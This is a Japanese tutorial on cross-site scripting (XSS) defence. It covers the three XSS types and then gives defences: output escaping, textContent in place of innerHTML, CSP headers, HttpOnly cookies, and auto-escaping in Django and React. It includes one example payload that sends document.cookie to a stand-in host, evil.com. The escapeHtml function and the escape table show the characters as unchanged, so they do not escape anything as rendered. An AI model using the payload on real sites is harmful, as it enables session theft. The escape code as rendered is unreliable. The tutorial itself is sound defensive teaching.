XSS(クロスサイトスクリプティング)対策
Webアプリを脆弱性から守る
XSS(Cross-Site Scripting)は、悪意のあるJavaScriptをWebページに埋め込む攻撃手法で、OWASP Top 10にも含まれる代表的な脆弱性です。
この記事では、XSSの仕組みと具体的な対策方法を解説します。
こんな人向けの記事です
- XSSの仕組みを理解したい
- 自分のWebアプリにXSS脆弱性がないか確認したい
- 具体的な対策コードを知りたい
Step 1XSSとは
XSSは、ユーザーの入力データがそのままHTMLに出力されることで、攻撃者が仕込んだJavaScriptが他のユーザーのブラウザで実行される脆弱性です。
攻撃者
悪意のあるスクリプトを投稿
悪意のあるスクリプトを投稿
→
サーバー
入力をそのまま保存
入力をそのまま保存
→
被害者のブラウザ
スクリプトが実行される
スクリプトが実行される
被害の例
| 被害 | 詳細 |
|---|---|
| Cookie窃取 | セッションIDを盗まれ、アカウントを乗っ取られる |
| フィッシング | 偽のログインフォームを表示される |
| キーロガー | 入力内容を盗聴される |
| ページ改ざん | ページの内容を書き換えられる |
Step 2XSSの3つの種類
| 種類 | 仕組み | 例 |
|---|---|---|
| 反射型(Reflected) | URLのパラメータがそのまま表示される | 検索結果ページ |
| 格納型(Stored) | DBに保存された入力が他のユーザーに表示される | 掲示板、コメント欄 |
| DOM型 | JavaScriptがDOMを操作する際に発生 | SPAアプリ |
脆弱なコードの例
HTML(脆弱)
<!-- NG: ユーザー入力をそのまま出力 -->
<p>検索結果: {{ user_input }}</p>
<!-- 攻撃者が以下を入力すると... -->
<script>document.location='https://evil.com/?cookie='+document.cookie</script>
Step 3対策1:出力時のエスケープ
最も基本的な対策は、HTML出力時に特殊文字をエスケープすることです。
| 文字 | エスケープ後 |
|---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
JavaScript
// エスケープ関数
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// textContent を使えばエスケープ不要
element.textContent = userInput; // 安全
element.innerHTML = userInput; // 危険!
innerHTMLは使わない
element.innerHTML = userInput はXSSの温床です。element.textContent = userInput を使えば、HTMLとして解釈されません。
Step 4対策2:Content Security Policy(CSP)
HTTPレスポンスヘッダー
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self';" always;
Step 5対策3:HttpOnly Cookie
サーバー側(例)
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
| 属性 | 効果 |
|---|---|
HttpOnly | JavaScriptからCookieにアクセス不可(document.cookieで取れない) |
Secure | HTTPS通信でのみCookieを送信 |
SameSite=Strict | 他サイトからのリクエストにCookieを付けない |
Step 6フレームワーク別の対策
Django(自動エスケープ)
Django テンプレート
<!-- 自動エスケープされる(安全) -->
{{ user_input }}
<!-- エスケープを無効化(危険!本当に必要な場合のみ) -->
{{ user_input|safe }}
React(デフォルトで安全)
React
// 自動エスケープされる(安全)
return <p>{userInput}</p>;
// 危険!HTMLをそのまま挿入
return <p dangerouslySetInnerHTML={{__html: userInput}} />;
まとめ
- 出力時のエスケープが最も基本的な対策
textContentを使い、innerHTMLは避ける- CSPヘッダーでインラインスクリプトの実行を制限
- Cookieに
HttpOnly/Secure/SameSiteを設定 - Django・Reactなどのフレームワークは自動エスケープを活用する